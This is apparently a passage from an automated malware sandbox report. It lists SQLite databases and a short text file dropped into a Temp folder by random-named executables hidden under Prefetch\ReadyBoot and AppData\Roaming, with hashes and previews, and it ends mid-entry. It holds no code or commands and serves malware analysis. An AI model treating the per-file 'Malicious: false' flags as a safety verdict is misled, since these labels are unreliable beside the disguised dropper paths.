C:\Users\user\AppData\Local\Temp\gtmLr0ymEC

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h5Fbh8th6H

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hDuzzj84E8

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hV9ETBZjN2

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688185
Encrypted:	false
SSDEEP:	3:D3XHE/QhjN:rXHWQhjN
MD5:	F88063CD0C6B5F38DAED028E51D72C36
SHA1:	F13EA4831DE1625BB32F047D19B99B475CB74902
SHA-256:	FE05CE78FC4BC5DB4658C9F46E8674AFE80EAC4F54692CA7CC18382807DA3675
SHA-512:	6E55450CF6C7A70E145268722E55242CC0A291B4E4135075D4AE5694B5C77EDC54022A5BD70AA8527944CD7E2E74675BC58450EE0822772F60959FDAE4E54C6A
Malicious:	false
Preview:	usR2bLOZuIZOZN8yencVlHxY6

C:\Users\user\AppData\Local\Temp\hjoumFda20

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hlqFpjgCJu

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ho7C3k2T3T

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i1s1LP72WO

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i7Bl7x9BQv

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iSJZgtRafx

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iew32zUqhb

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ih02a81obF

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\imvqRkKuta

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\itRXjiiKn1

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iwu6keIS7m

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j8QPIR0nrv

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jb3u39AYss

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k4rYwOkKBK

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k55TxSnuJs

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kQN4cJdF47

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kYz7lzC7Jj

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lJIc78iBVN

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lXC49jtF1g

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lkPEUyrGJS

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lykS9T1xkn

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m5vpFCx4vj

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m5ysvIX7ns

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
